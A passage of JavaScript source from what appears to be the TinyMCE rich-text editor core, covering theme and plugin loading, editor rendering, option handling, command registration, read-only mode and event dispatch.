        const url = isNotEmpty(languageUrl) ? languageUrl : `${ editor.editorManager.baseURL }/langs/${ languageCode }.js`;
        scriptLoader.add(url).catch(() => {
          languageLoadError(editor, url, languageCode);
        });
      }
    };
    const loadTheme = (editor, suffix) => {
      const theme = getTheme(editor);
      if (isString(theme) && !hasSkipLoadPrefix(theme) && !has$2(ThemeManager.urls, theme)) {
        const themeUrl = getThemeUrl(editor);
        const url = themeUrl ? editor.documentBaseURI.toAbsolute(themeUrl) : `themes/${ theme }/theme${ suffix }.js`;
        ThemeManager.load(theme, url).catch(() => {
          themeLoadError(editor, url, theme);
        });
      }
    };
    const loadModel = (editor, suffix) => {
      const model = getModel(editor);
      if (model !== 'plugin' && !has$2(ModelManager.urls, model)) {
        const modelUrl = getModelUrl(editor);
        const url = isString(modelUrl) ? editor.documentBaseURI.toAbsolute(modelUrl) : `models/${ model }/model${ suffix }.js`;
        ModelManager.load(model, url).catch(() => {
          modelLoadError(editor, url, model);
        });
      }
    };
    const getIconsUrlMetaFromUrl = editor => Optional.from(getIconsUrl(editor)).filter(isNotEmpty).map(url => ({
      url,
      name: Optional.none()
    }));
    const getIconsUrlMetaFromName = (editor, name, suffix) => Optional.from(name).filter(name => isNotEmpty(name) && !IconManager.has(name)).map(name => ({
      url: `${ editor.editorManager.baseURL }/icons/${ name }/icons${ suffix }.js`,
      name: Optional.some(name)
    }));
    const loadIcons = (scriptLoader, editor, suffix) => {
      const defaultIconsUrl = getIconsUrlMetaFromName(editor, 'default', suffix);
      const customIconsUrl = getIconsUrlMetaFromUrl(editor).orThunk(() => getIconsUrlMetaFromName(editor, getIconPackName(editor), ''));
      each$e(cat([
        defaultIconsUrl,
        customIconsUrl
      ]), urlMeta => {
        scriptLoader.add(urlMeta.url).catch(() => {
          iconsLoadError(editor, urlMeta.url, urlMeta.name.getOrUndefined());
        });
      });
    };
    const loadPlugins = (editor, suffix) => {
      const loadPlugin = (name, url) => {
        PluginManager.load(name, url).catch(() => {
          pluginLoadError(editor, url, name);
        });
      };
      each$d(getExternalPlugins$1(editor), (url, name) => {
        loadPlugin(name, url);
        editor.options.set('plugins', getPlugins(editor).concat(name));
      });
      each$e(getPlugins(editor), plugin => {
        plugin = Tools.trim(plugin);
        if (plugin && !PluginManager.urls[plugin] && !hasSkipLoadPrefix(plugin)) {
          loadPlugin(plugin, `plugins/${ plugin }/plugin${ suffix }.js`);
        }
      });
    };
    const isThemeLoaded = editor => {
      const theme = getTheme(editor);
      return !isString(theme) || isNonNullable(ThemeManager.get(theme));
    };
    const isModelLoaded = editor => {
      const model = getModel(editor);
      return isNonNullable(ModelManager.get(model));
    };
    const loadScripts = (editor, suffix) => {
      const scriptLoader = ScriptLoader.ScriptLoader;
      const initEditor = () => {
        if (!editor.removed && isThemeLoaded(editor) && isModelLoaded(editor)) {
          init(editor);
        }
      };
      loadTheme(editor, suffix);
      loadModel(editor, suffix);
      loadLanguage(scriptLoader, editor);
      loadIcons(scriptLoader, editor, suffix);
      loadPlugins(editor, suffix);
      scriptLoader.loadQueue().then(initEditor, initEditor);
    };
    const getStyleSheetLoader = (element, editor) => instance.forElement(element, {
      contentCssCors: hasContentCssCors(editor),
      referrerPolicy: getReferrerPolicy(editor)
    });
    const render = editor => {
      const id = editor.id;
      I18n.setCode(getLanguageCode(editor));
      const readyHandler = () => {
        DOM$3.unbind(window, 'ready', readyHandler);
        editor.render();
      };
      if (!EventUtils.Event.domLoaded) {
        DOM$3.bind(window, 'ready', readyHandler);
        return;
      }
      if (!editor.getElement()) {
        return;
      }
      const element = SugarElement.fromDom(editor.getElement());
      const snapshot = clone$4(element);
      editor.on('remove', () => {
        eachr(element.dom.attributes, attr => remove$b(element, attr.name));
        setAll$1(element, snapshot);
      });
      editor.ui.styleSheetLoader = getStyleSheetLoader(element, editor);
      if (!isInline(editor)) {
        editor.orgVisibility = editor.getElement().style.visibility;
        editor.getElement().style.visibility = 'hidden';
      } else {
        editor.inline = true;
      }
      const form = editor.getElement().form || DOM$3.getParent(id, 'form');
      if (form) {
        editor.formElement = form;
        if (hasHiddenInput(editor) && !isTextareaOrInput(editor.getElement())) {
          DOM$3.insertAfter(DOM$3.create('input', {
            type: 'hidden',
            name: id
          }), id);
          editor.hasHiddenInput = true;
        }
        editor.formEventDelegate = e => {
          editor.dispatch(e.type, e);
        };
        DOM$3.bind(form, 'submit reset', editor.formEventDelegate);
        editor.on('reset', () => {
          editor.resetContent();
        });
        if (shouldPatchSubmit(editor) && !form.submit.nodeType && !form.submit.length && !form._mceOldSubmit) {
          form._mceOldSubmit = form.submit;
          form.submit = () => {
            editor.editorManager.triggerSave();
            editor.setDirty(false);
            return form._mceOldSubmit(form);
          };
        }
      }
      editor.windowManager = WindowManager(editor);
      editor.notificationManager = NotificationManager(editor);
      if (isEncodingXml(editor)) {
        editor.on('GetContent', e => {
          if (e.save) {
            e.content = DOM$3.encode(e.content);
          }
        });
      }
      if (shouldAddFormSubmitTrigger(editor)) {
        editor.on('submit', () => {
          if (editor.initialized) {
            editor.save();
          }
        });
      }
      if (shouldAddUnloadTrigger(editor)) {
        editor._beforeUnload = () => {
          if (editor.initialized && !editor.destroyed && !editor.isHidden()) {
            editor.save({
              format: 'raw',
              no_events: true,
              set_dirty: false
            });
          }
        };
        editor.editorManager.on('BeforeUnload', editor._beforeUnload);
      }
      editor.editorManager.add(editor);
      loadScripts(editor, editor.suffix);
    };

    const sectionResult = (sections, settings) => ({
      sections: constant(sections),
      options: constant(settings)
    });
    const deviceDetection = detect$2().deviceType;
    const isPhone = deviceDetection.isPhone();
    const isTablet = deviceDetection.isTablet();
    const normalizePlugins = plugins => {
      if (isNullable(plugins)) {
        return [];
      } else {
        const pluginNames = isArray$1(plugins) ? plugins : plugins.split(/[ ,]/);
        const trimmedPlugins = map$3(pluginNames, trim$3);
        return filter$5(trimmedPlugins, isNotEmpty);
      }
    };
    const extractSections = (keys, options) => {
      const result = bifilter(options, (value, key) => {
        return contains$2(keys, key);
      });
      return sectionResult(result.t, result.f);
    };
    const getSection = (sectionResult, name, defaults = {}) => {
      const sections = sectionResult.sections();
      const sectionOptions = get$a(sections, name).getOr({});
      return Tools.extend({}, defaults, sectionOptions);
    };
    const hasSection = (sectionResult, name) => {
      return has$2(sectionResult.sections(), name);
    };
    const getSectionConfig = (sectionResult, name) => {
      return hasSection(sectionResult, name) ? sectionResult.sections()[name] : {};
    };
    const getMobileOverrideOptions = (mobileOptions, isPhone) => {
      const defaultMobileOptions = {
        table_grid: false,
        object_resizing: false,
        resize: false,
        toolbar_mode: get$a(mobileOptions, 'toolbar_mode').getOr('scrolling'),
        toolbar_sticky: false
      };
      const defaultPhoneOptions = { menubar: false };
      return {
        ...defaultMobileOptions,
        ...isPhone ? defaultPhoneOptions : {}
      };
    };
    const getExternalPlugins = (overrideOptions, options) => {
      var _a;
      const userDefinedExternalPlugins = (_a = options.external_plugins) !== null && _a !== void 0 ? _a : {};
      if (overrideOptions && overrideOptions.external_plugins) {
        return Tools.extend({}, overrideOptions.external_plugins, userDefinedExternalPlugins);
      } else {
        return userDefinedExternalPlugins;
      }
    };
    const combinePlugins = (forcedPlugins, plugins) => [
      ...normalizePlugins(forcedPlugins),
      ...normalizePlugins(plugins)
    ];
    const getPlatformPlugins = (isMobileDevice, sectionResult, desktopPlugins, mobilePlugins) => {
      if (isMobileDevice && hasSection(sectionResult, 'mobile')) {
        return mobilePlugins;
      } else {
        return desktopPlugins;
      }
    };
    const processPlugins = (isMobileDevice, sectionResult, defaultOverrideOptions, options) => {
      const forcedPlugins = normalizePlugins(defaultOverrideOptions.forced_plugins);
      const desktopPlugins = normalizePlugins(options.plugins);
      const mobileConfig = getSectionConfig(sectionResult, 'mobile');
      const mobilePlugins = mobileConfig.plugins ? normalizePlugins(mobileConfig.plugins) : desktopPlugins;
      const platformPlugins = getPlatformPlugins(isMobileDevice, sectionResult, desktopPlugins, mobilePlugins);
      const combinedPlugins = combinePlugins(forcedPlugins, platformPlugins);
      return Tools.extend(options, {
        forced_plugins: forcedPlugins,
        plugins: combinedPlugins
      });
    };
    const isOnMobile = (isMobileDevice, sectionResult) => {
      return isMobileDevice && hasSection(sectionResult, 'mobile');
    };
    const combineOptions = (isMobileDevice, isPhone, defaultOptions, defaultOverrideOptions, options) => {
      var _a;
      const deviceOverrideOptions = isMobileDevice ? { mobile: getMobileOverrideOptions((_a = options.mobile) !== null && _a !== void 0 ? _a : {}, isPhone) } : {};
      const sectionResult = extractSections(['mobile'], deepMerge(deviceOverrideOptions, options));
      const extendedOptions = Tools.extend(defaultOptions, defaultOverrideOptions, sectionResult.options(), isOnMobile(isMobileDevice, sectionResult) ? getSection(sectionResult, 'mobile') : {}, { external_plugins: getExternalPlugins(defaultOverrideOptions, sectionResult.options()) });
      return processPlugins(isMobileDevice, sectionResult, defaultOverrideOptions, extendedOptions);
    };
    const normalizeOptions = (defaultOverrideOptions, options) => combineOptions(isPhone || isTablet, isPhone, options, defaultOverrideOptions, options);

    const addVisual = (editor, elm) => addVisual$1(editor, elm);

    const registerExecCommands$3 = editor => {
      const toggleFormat = (name, value) => {
        editor.formatter.toggle(name, value);
        editor.nodeChanged();
      };
      const toggleAlign = align => () => {
        each$e('left,center,right,justify'.split(','), name => {
          if (align !== name) {
            editor.formatter.remove('align' + name);
          }
        });
        if (align !== 'none') {
          toggleFormat('align' + align);
        }
      };
      editor.editorCommands.addCommands({
        JustifyLeft: toggleAlign('left'),
        JustifyCenter: toggleAlign('center'),
        JustifyRight: toggleAlign('right'),
        JustifyFull: toggleAlign('justify'),
        JustifyNone: toggleAlign('none')
      });
    };
    const registerQueryStateCommands$1 = editor => {
      const alignStates = name => () => {
        const selection = editor.selection;
        const nodes = selection.isCollapsed() ? [editor.dom.getParent(selection.getNode(), editor.dom.isBlock)] : selection.getSelectedBlocks();
        return exists(nodes, node => isNonNullable(editor.formatter.matchNode(node, name)));
      };
      editor.editorCommands.addCommands({
        JustifyLeft: alignStates('alignleft'),
        JustifyCenter: alignStates('aligncenter'),
        JustifyRight: alignStates('alignright'),
        JustifyFull: alignStates('alignjustify')
      }, 'state');
    };
    const registerCommands$a = editor => {
      registerExecCommands$3(editor);
      registerQueryStateCommands$1(editor);
    };

    const registerCommands$9 = editor => {
      editor.editorCommands.addCommands({
        'Cut,Copy,Paste': command => {
          const doc = editor.getDoc();
          let failed;
          try {
            doc.execCommand(command);
          } catch (ex) {
            failed = true;
          }
          if (command === 'paste' && !doc.queryCommandEnabled(command)) {
            failed = true;
          }
          if (failed || !doc.queryCommandSupported(command)) {
            let msg = editor.translate(`Your browser doesn't support direct access to the clipboard. ` + 'Please use the Ctrl+X/C/V keyboard shortcuts instead.');
            if (Env.os.isMacOS() || Env.os.isiOS()) {
              msg = msg.replace(/Ctrl\+/g, '\u2318+');
            }
            editor.notificationManager.open({
              text: msg,
              type: 'error'
            });
          }
        }
      });
    };

    const trimOrPadLeftRight = (dom, rng, html) => {
      const root = SugarElement.fromDom(dom.getRoot());
      if (needsToBeNbspLeft(root, CaretPosition.fromRangeStart(rng))) {
        html = html.replace(/^ /, '&nbsp;');
      } else {
        html = html.replace(/^&nbsp;/, ' ');
      }
      if (needsToBeNbspRight(root, CaretPosition.fromRangeEnd(rng))) {
        html = html.replace(/(&nbsp;| )(<br( \/)>)?$/, '&nbsp;');
      } else {
        html = html.replace(/&nbsp;(<br( \/)?>)?$/, ' ');
      }
      return html;
    };

    const processValue$1 = value => {
      if (typeof value !== 'string') {
        const details = Tools.extend({
          paste: value.paste,
          data: { paste: value.paste }
        }, value);
        return {
          content: value.content,
          details
        };
      }
      return {
        content: value,
        details: {}
      };
    };
    const trimOrPad = (editor, value) => {
      const selection = editor.selection;
      const dom = editor.dom;
      if (/^ | $/.test(value)) {
        return trimOrPadLeftRight(dom, selection.getRng(), value);
      } else {
        return value;
      }
    };
    const insertAtCaret = (editor, value) => {
      const {content, details} = processValue$1(value);
      preProcessSetContent(editor, {
        ...details,
        content: trimOrPad(editor, content),
        format: 'html',
        set: false,
        selection: true
      }).each(args => {
        const insertedContent = insertContent$1(editor, args.content, details);
        postProcessSetContent(editor, insertedContent, args);
        editor.addVisual();
      });
    };

    const registerCommands$8 = editor => {
      editor.editorCommands.addCommands({
        mceCleanup: () => {
          const bm = editor.selection.getBookmark();
          editor.setContent(editor.getContent());
          editor.selection.moveToBookmark(bm);
        },
        insertImage: (_command, _ui, value) => {
          insertAtCaret(editor, editor.dom.createHTML('img', { src: value }));
        },
        insertHorizontalRule: () => {
          editor.execCommand('mceInsertContent', false, '<hr>');
        },
        insertText: (_command, _ui, value) => {
          insertAtCaret(editor, editor.dom.encode(value));
        },
        insertHTML: (_command, _ui, value) => {
          insertAtCaret(editor, value);
        },
        mceInsertContent: (_command, _ui, value) => {
          insertAtCaret(editor, value);
        },
        mceSetContent: (_command, _ui, value) => {
          editor.setContent(value);
        },
        mceReplaceContent: (_command, _ui, value) => {
          editor.execCommand('mceInsertContent', false, value.replace(/\{\$selection\}/g, editor.selection.getContent({ format: 'text' })));
        },
        mceNewDocument: () => {
          editor.setContent('');
        }
      });
    };

    const legacyPropNames = {
      'font-size': 'size',
      'font-family': 'face'
    };
    const isFont = isTag('font');
    const getSpecifiedFontProp = (propName, rootElm, elm) => {
      const getProperty = elm => getRaw$1(elm, propName).orThunk(() => {
        if (isFont(elm)) {
          return get$a(legacyPropNames, propName).bind(legacyPropName => getOpt(elm, legacyPropName));
        } else {
          return Optional.none();
        }
      });
      const isRoot = elm => eq(SugarElement.fromDom(rootElm), elm);
      return closest$2(SugarElement.fromDom(elm), elm => getProperty(elm), isRoot);
    };
    const normalizeFontFamily = fontFamily => fontFamily.replace(/[\'\"\\]/g, '').replace(/,\s+/g, ',');
    const getComputedFontProp = (propName, elm) => Optional.from(DOMUtils.DOM.getStyle(elm, propName, true));
    const getFontProp = propName => (rootElm, elm) => Optional.from(elm).map(SugarElement.fromDom).filter(isElement$7).bind(element => getSpecifiedFontProp(propName, rootElm, element.dom).or(getComputedFontProp(propName, element.dom))).getOr('');
    const getFontSize = getFontProp('font-size');
    const getFontFamily = compose(normalizeFontFamily, getFontProp('font-family'));

    const findFirstCaretElement = editor => firstPositionIn(editor.getBody()).bind(caret => {
      const container = caret.container();
      return Optional.from(isText$a(container) ? container.parentNode : container);
    });
    const getCaretElement = editor => Optional.from(editor.selection.getRng()).bind(rng => {
      const root = editor.getBody();
      const atStartOfNode = rng.startContainer === root && rng.startOffset === 0;
      return atStartOfNode ? Optional.none() : Optional.from(editor.selection.getStart(true));
    });
    const bindRange = (editor, binder) => getCaretElement(editor).orThunk(curry(findFirstCaretElement, editor)).map(SugarElement.fromDom).filter(isElement$7).bind(binder);
    const mapRange = (editor, mapper) => bindRange(editor, compose1(Optional.some, mapper));

    const fromFontSizeNumber = (editor, value) => {
      if (/^[0-9.]+$/.test(value)) {
        const fontSizeNumber = parseInt(value, 10);
        if (fontSizeNumber >= 1 && fontSizeNumber <= 7) {
          const fontSizes = getFontStyleValues(editor);
          const fontClasses = getFontSizeClasses(editor);
          if (fontClasses.length > 0) {
            return fontClasses[fontSizeNumber - 1] || value;
          } else {
            return fontSizes[fontSizeNumber - 1] || value;
          }
        } else {
          return value;
        }
      } else {
        return value;
      }
    };
    const normalizeFontNames = font => {
      const fonts = font.split(/\s*,\s*/);
      return map$3(fonts, font => {
        if (font.indexOf(' ') !== -1 && !(startsWith(font, '"') || startsWith(font, `'`))) {
          return `'${ font }'`;
        } else {
          return font;
        }
      }).join(',');
    };
    const fontNameAction = (editor, value) => {
      const font = fromFontSizeNumber(editor, value);
      editor.formatter.toggle('fontname', { value: normalizeFontNames(font) });
      editor.nodeChanged();
    };
    const fontNameQuery = editor => mapRange(editor, elm => getFontFamily(editor.getBody(), elm.dom)).getOr('');
    const fontSizeAction = (editor, value) => {
      editor.formatter.toggle('fontsize', { value: fromFontSizeNumber(editor, value) });
      editor.nodeChanged();
    };
    const fontSizeQuery = editor => mapRange(editor, elm => getFontSize(editor.getBody(), elm.dom)).getOr('');

    const lineHeightQuery = editor => mapRange(editor, elm => {
      const root = SugarElement.fromDom(editor.getBody());
      const specifiedStyle = closest$2(elm, elm => getRaw$1(elm, 'line-height'), curry(eq, root));
      const computedStyle = () => {
        const lineHeight = parseFloat(get$7(elm, 'line-height'));
        const fontSize = parseFloat(get$7(elm, 'font-size'));
        return String(lineHeight / fontSize);
      };
      return specifiedStyle.getOrThunk(computedStyle);
    }).getOr('');
    const lineHeightAction = (editor, lineHeight) => {
      editor.formatter.toggle('lineheight', { value: String(lineHeight) });
      editor.nodeChanged();
    };

    const registerExecCommands$2 = editor => {
      const toggleFormat = (name, value) => {
        editor.formatter.toggle(name, value);
        editor.nodeChanged();
      };
      editor.editorCommands.addCommands({
        'Bold,Italic,Underline,Strikethrough,Superscript,Subscript': command => {
          toggleFormat(command);
        },
        'ForeColor,HiliteColor': (command, _ui, value) => {
          toggleFormat(command, { value });
        },
        'BackColor': (_command, _ui, value) => {
          toggleFormat('hilitecolor', { value });
        },
        'FontName': (_command, _ui, value) => {
          fontNameAction(editor, value);
        },
        'FontSize': (_command, _ui, value) => {
          fontSizeAction(editor, value);
        },
        'LineHeight': (_command, _ui, value) => {
          lineHeightAction(editor, value);
        },
        'Lang': (command, _ui, lang) => {
          var _a;
          toggleFormat(command, {
            value: lang.code,
            customValue: (_a = lang.customCode) !== null && _a !== void 0 ? _a : null
          });
        },
        'RemoveFormat': command => {
          editor.formatter.remove(command);
        },
        'mceBlockQuote': () => {
          toggleFormat('blockquote');
        },
        'FormatBlock': (_command, _ui, value) => {
          toggleFormat(isString(value) ? value : 'p');
        },
        'mceToggleFormat': (_command, _ui, value) => {
          toggleFormat(value);
        }
      });
    };
    const registerQueryValueCommands = editor => {
      const isFormatMatch = name => editor.formatter.match(name);
      editor.editorCommands.addCommands({
        'Bold,Italic,Underline,Strikethrough,Superscript,Subscript': command => isFormatMatch(command),
        'mceBlockQuote': () => isFormatMatch('blockquote')
      }, 'state');
      editor.editorCommands.addQueryValueHandler('FontName', () => fontNameQuery(editor));
      editor.editorCommands.addQueryValueHandler('FontSize', () => fontSizeQuery(editor));
      editor.editorCommands.addQueryValueHandler('LineHeight', () => lineHeightQuery(editor));
    };
    const registerCommands$7 = editor => {
      registerExecCommands$2(editor);
      registerQueryValueCommands(editor);
    };

    const registerCommands$6 = editor => {
      editor.editorCommands.addCommands({
        mceAddUndoLevel: () => {
          editor.undoManager.add();
        },
        mceEndUndoLevel: () => {
          editor.undoManager.add();
        },
        Undo: () => {
          editor.undoManager.undo();
        },
        Redo: () => {
          editor.undoManager.redo();
        }
      });
    };

    const registerCommands$5 = editor => {
      editor.editorCommands.addCommands({
        Indent: () => {
          indent(editor);
        },
        Outdent: () => {
          outdent(editor);
        }
      });
      editor.editorCommands.addCommands({ Outdent: () => canOutdent(editor) }, 'state');
    };

    const registerCommands$4 = editor => {
      const applyLinkToSelection = (_command, _ui, value) => {
        const linkDetails = isString(value) ? { href: value } : value;
        const anchor = editor.dom.getParent(editor.selection.getNode(), 'a');
        if (isObject(linkDetails) && isString(linkDetails.href)) {
          linkDetails.href = linkDetails.href.replace(/ /g, '%20');
          if (!anchor || !linkDetails.href) {
            editor.formatter.remove('link');
          }
          if (linkDetails.href) {
            editor.formatter.apply('link', linkDetails, anchor);
          }
        }
      };
      editor.editorCommands.addCommands({
        unlink: () => {
          if (editor.selection.isCollapsed()) {
            const elm = editor.dom.getParent(editor.selection.getStart(), 'a');
            if (elm) {
              editor.dom.remove(elm, true);
            }
            return;
          }
          editor.formatter.remove('link');
        },
        mceInsertLink: applyLinkToSelection,
        createLink: applyLinkToSelection
      });
    };

    const registerExecCommands$1 = editor => {
      editor.editorCommands.addCommands({
        'InsertUnorderedList,InsertOrderedList': command => {
          editor.getDoc().execCommand(command);
          const listElm = editor.dom.getParent(editor.selection.getNode(), 'ol,ul');
          if (listElm) {
            const listParent = listElm.parentNode;
            if (listParent && /^(H[1-6]|P|ADDRESS|PRE)$/.test(listParent.nodeName)) {
              const bm = editor.selection.getBookmark();
              editor.dom.split(listParent, listElm);
              editor.selection.moveToBookmark(bm);
            }
          }
        }
      });
    };
    const registerQueryStateCommands = editor => {
      editor.editorCommands.addCommands({
        'InsertUnorderedList,InsertOrderedList': command => {
          const list = editor.dom.getParent(editor.selection.getNode(), 'ul,ol');
          return list && (command === 'insertunorderedlist' && list.tagName === 'UL' || command === 'insertorderedlist' && list.tagName === 'OL');
        }
      }, 'state');
    };
    const registerCommands$3 = editor => {
      registerExecCommands$1(editor);
      registerQueryStateCommands(editor);
    };

    const registerCommands$2 = editor => {
      editor.editorCommands.addCommands({
        insertParagraph: () => {
          insertBreak(blockbreak, editor);
        },
        mceInsertNewLine: (_command, _ui, value) => {
          insert(editor, value);
        },
        InsertLineBreak: (_command, _ui, _value) => {
          insertBreak(linebreak, editor);
        }
      });
    };

    const registerCommands$1 = editor => {
      editor.editorCommands.addCommands({
        mceSelectNodeDepth: (_command, _ui, value) => {
          let counter = 0;
          editor.dom.getParent(editor.selection.getNode(), node => {
            if (isElement$6(node) && counter++ === value) {
              editor.selection.select(node);
              return false;
            } else {
              return true;
            }
          }, editor.getBody());
        },
        mceSelectNode: (_command, _ui, value) => {
          editor.selection.select(value);
        },
        selectAll: () => {
          const editingHost = editor.dom.getParent(editor.selection.getStart(), isContentEditableTrue$3);
          if (editingHost) {
            const rng = editor.dom.createRng();
            rng.selectNodeContents(editingHost);
            editor.selection.setRng(rng);
          }
        }
      });
    };

    const registerExecCommands = editor => {
      editor.editorCommands.addCommands({
        mceRemoveNode: (_command, _ui, value) => {
          const node = value !== null && value !== void 0 ? value : editor.selection.getNode();
          if (node !== editor.getBody()) {
            const bm = editor.selection.getBookmark();
            editor.dom.remove(node, true);
            editor.selection.moveToBookmark(bm);
          }
        },
        mcePrint: () => {
          editor.getWin().print();
        },
        mceFocus: (_command, _ui, value) => {
          focus(editor, value === true);
        },
        mceToggleVisualAid: () => {
          editor.hasVisual = !editor.hasVisual;
          editor.addVisual();
        }
      });
    };
    const registerCommands = editor => {
      registerCommands$a(editor);
      registerCommands$9(editor);
      registerCommands$6(editor);
      registerCommands$1(editor);
      registerCommands$8(editor);
      registerCommands$4(editor);
      registerCommands$5(editor);
      registerCommands$2(editor);
      registerCommands$3(editor);
      registerCommands$7(editor);
      registerExecCommands(editor);
    };

    const selectionSafeCommands = ['toggleview'];
    const isSelectionSafeCommand = command => contains$2(selectionSafeCommands, command.toLowerCase());
    class EditorCommands {
      constructor(editor) {
        this.commands = {
          state: {},
          exec: {},
          value: {}
        };
        this.editor = editor;
      }
      execCommand(command, ui = false, value, args) {
        const editor = this.editor;
        const lowerCaseCommand = command.toLowerCase();
        const skipFocus = args === null || args === void 0 ? void 0 : args.skip_focus;
        if (editor.removed) {
          return false;
        }
        if (lowerCaseCommand !== 'mcefocus') {
          if (!/^(mceAddUndoLevel|mceEndUndoLevel)$/i.test(lowerCaseCommand) && !skipFocus) {
            editor.focus();
          } else {
            restore(editor);
          }
        }
        const eventArgs = editor.dispatch('BeforeExecCommand', {
          command,
          ui,
          value
        });
        if (eventArgs.isDefaultPrevented()) {
          return false;
        }
        const func = this.commands.exec[lowerCaseCommand];
        if (isFunction(func)) {
          func(lowerCaseCommand, ui, value);
          editor.dispatch('ExecCommand', {
            command,
            ui,
            value
          });
          return true;
        }
        return false;
      }
      queryCommandState(command) {
        if (!isSelectionSafeCommand(command) && this.editor.quirks.isHidden() || this.editor.removed) {
          return false;
        }
        const lowerCaseCommand = command.toLowerCase();
        const func = this.commands.state[lowerCaseCommand];
        if (isFunction(func)) {
          return func(lowerCaseCommand);
        }
        return false;
      }
      queryCommandValue(command) {
        if (!isSelectionSafeCommand(command) && this.editor.quirks.isHidden() || this.editor.removed) {
          return '';
        }
        const lowerCaseCommand = command.toLowerCase();
        const func = this.commands.value[lowerCaseCommand];
        if (isFunction(func)) {
          return func(lowerCaseCommand);
        }
        return '';
      }
      addCommands(commandList, type = 'exec') {
        const commands = this.commands;
        each$d(commandList, (callback, command) => {
          each$e(command.toLowerCase().split(','), command => {
            commands[type][command] = callback;
          });
        });
      }
      addCommand(command, callback, scope) {
        const lowerCaseCommand = command.toLowerCase();
        this.commands.exec[lowerCaseCommand] = (_command, ui, value) => callback.call(scope !== null && scope !== void 0 ? scope : this.editor, ui, value);
      }
      queryCommandSupported(command) {
        const lowerCaseCommand = command.toLowerCase();
        if (this.commands.exec[lowerCaseCommand]) {
          return true;
        } else {
          return false;
        }
      }
      addQueryStateHandler(command, callback, scope) {
        this.commands.state[command.toLowerCase()] = () => callback.call(scope !== null && scope !== void 0 ? scope : this.editor);
      }
      addQueryValueHandler(command, callback, scope) {
        this.commands.value[command.toLowerCase()] = () => callback.call(scope !== null && scope !== void 0 ? scope : this.editor);
      }
    }

    const internalContentEditableAttr = 'data-mce-contenteditable';
    const toggleClass = (elm, cls, state) => {
      if (has(elm, cls) && !state) {
        remove$8(elm, cls);
      } else if (state) {
        add$2(elm, cls);
      }
    };
    const setEditorCommandState = (editor, cmd, state) => {
      try {
        editor.getDoc().execCommand(cmd, false, String(state));
      } catch (ex) {
      }
    };
    const setContentEditable = (elm, state) => {
      elm.dom.contentEditable = state ? 'true' : 'false';
    };
    const switchOffContentEditableTrue = elm => {
      each$e(descendants(elm, '*[contenteditable="true"]'), elm => {
        set$2(elm, internalContentEditableAttr, 'true');
        setContentEditable(elm, false);
      });
    };
    const switchOnContentEditableTrue = elm => {
      each$e(descendants(elm, `*[${ internalContentEditableAttr }="true"]`), elm => {
        remove$b(elm, internalContentEditableAttr);
        setContentEditable(elm, true);
      });
    };
    const removeFakeSelection = editor => {
      Optional.from(editor.selection.getNode()).each(elm => {
        elm.removeAttribute('data-mce-selected');
      });
    };
    const restoreFakeSelection = editor => {
      editor.selection.setRng(editor.selection.getRng());
    };
    const toggleReadOnly = (editor, state) => {
      const body = SugarElement.fromDom(editor.getBody());
      toggleClass(body, 'mce-content-readonly', state);
      if (state) {
        editor.selection.controlSelection.hideResizeRect();
        editor._selectionOverrides.hideFakeCaret();
        removeFakeSelection(editor);
        editor.readonly = true;
        setContentEditable(body, false);
        switchOffContentEditableTrue(body);
      } else {
        editor.readonly = false;
        setContentEditable(body, true);
        switchOnContentEditableTrue(body);
        setEditorCommandState(editor, 'StyleWithCSS', false);
        setEditorCommandState(editor, 'enableInlineTableEditing', false);
        setEditorCommandState(editor, 'enableObjectResizing', false);
        if (hasEditorOrUiFocus(editor)) {
          editor.focus();
        }
        restoreFakeSelection(editor);
        editor.nodeChanged();
      }
    };
    const isReadOnly = editor => editor.readonly;
    const registerFilters = editor => {
      editor.parser.addAttributeFilter('contenteditable', nodes => {
        if (isReadOnly(editor)) {
          each$e(nodes, node => {
            node.attr(internalContentEditableAttr, node.attr('contenteditable'));
            node.attr('contenteditable', 'false');
          });
        }
      });
      editor.serializer.addAttributeFilter(internalContentEditableAttr, nodes => {
        if (isReadOnly(editor)) {
          each$e(nodes, node => {
            node.attr('contenteditable', node.attr(internalContentEditableAttr));
          });
        }
      });
      editor.serializer.addTempAttr(internalContentEditableAttr);
    };
    const registerReadOnlyContentFilters = editor => {
      if (editor.serializer) {
        registerFilters(editor);
      } else {
        editor.on('PreInit', () => {
          registerFilters(editor);
        });
      }
    };
    const isClickEvent = e => e.type === 'click';
    const allowedEvents = ['copy'];
    const isReadOnlyAllowedEvent = e => contains$2(allowedEvents, e.type);
    const getAnchorHrefOpt = (editor, elm) => {
      const isRoot = elm => eq(elm, SugarElement.fromDom(editor.getBody()));
      return closest$3(elm, 'a', isRoot).bind(a => getOpt(a, 'href'));
    };
    const processReadonlyEvents = (editor, e) => {
      if (isClickEvent(e) && !VK.metaKeyPressed(e)) {
        const elm = SugarElement.fromDom(e.target);
        getAnchorHrefOpt(editor, elm).each(href => {
          e.preventDefault();
          if (/^#/.test(href)) {
            const targetEl = editor.dom.select(`${ href },[name="${ removeLeading(href, '#') }"]`);
            if (targetEl.length) {
              editor.selection.scrollIntoView(targetEl[0], true);
            }
          } else {
            window.open(href, '_blank', 'rel=noopener noreferrer,menubar=yes,toolbar=yes,location=yes,status=yes,resizable=yes,scrollbars=yes');
          }
        });
      } else if (isReadOnlyAllowedEvent(e)) {
        editor.dispatch(e.type, e);
      }
    };
    const registerReadOnlySelectionBlockers = editor => {
      editor.on('ShowCaret', e => {
        if (isReadOnly(editor)) {
          e.preventDefault();
        }
      });
      editor.on('ObjectSelected', e => {
        if (isReadOnly(editor)) {
          e.preventDefault();
        }
      });
    };

    const nativeEvents = Tools.makeMap('focus blur focusin focusout click dblclick mousedown mouseup mousemove mouseover beforepaste paste cut copy selectionchange ' + 'mouseout mouseenter mouseleave wheel keydown keypress keyup input beforeinput contextmenu dragstart dragend dragover ' + 'draggesture dragdrop drop drag submit ' + 'compositionstart compositionend compositionupdate touchstart touchmove touchend touchcancel', ' ');
    class EventDispatcher {
      constructor(settings) {
        this.bindings = {};
        this.settings = settings || {};
        this.scope = this.settings.scope || this;
        this.toggleEvent = this.settings.toggleEvent || never;
      }
      static isNative(name) {
        return !!nativeEvents[name.toLowerCase()];
      }
      fire(name, args) {
        return this.dispatch(name, args);
      }
      dispatch(name, args) {
        const lcName = name.toLowerCase();
        const event = normalize$3(lcName, args !== null && args !== void 0 ? args : {}, this.scope);
        if (this.settings.beforeFire) {
          this.settings.beforeFire(event);
        }
        const handlers = this.bindings[lcName];
        if (handlers) {
          for (let i = 0, l = handlers.length; i < l; i++) {
            const callback = handlers[i];
            if (callback.removed) {
              continue;
            }
            if (callback.once) {
              this.off(lcName, callback.func);
            }
            if (event.isImmediatePropagationStopped()) {
              return event;
